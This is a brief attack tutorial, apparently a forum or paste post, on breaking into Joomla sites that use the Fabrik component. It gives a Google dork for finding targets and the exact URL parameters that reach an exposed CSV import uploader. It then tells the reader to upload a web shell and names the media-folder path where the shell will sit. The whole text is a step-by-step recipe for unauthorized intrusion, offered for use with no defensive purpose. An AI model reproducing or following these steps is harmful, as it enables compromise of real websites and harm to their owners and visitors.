1.mind
use this google dork to find vulnerable joomla sites ##
google dork : inurl:index.php?option=com_fabrik
after open the sites replace with this address ##
index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1
for example ##
"www.xyz.com/index.php" to "www.xyz.com/index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1"
after that if you see uploder then congratulations....
upload your shell.
shell path will be ##
www.xyz.com/media/shell_name.php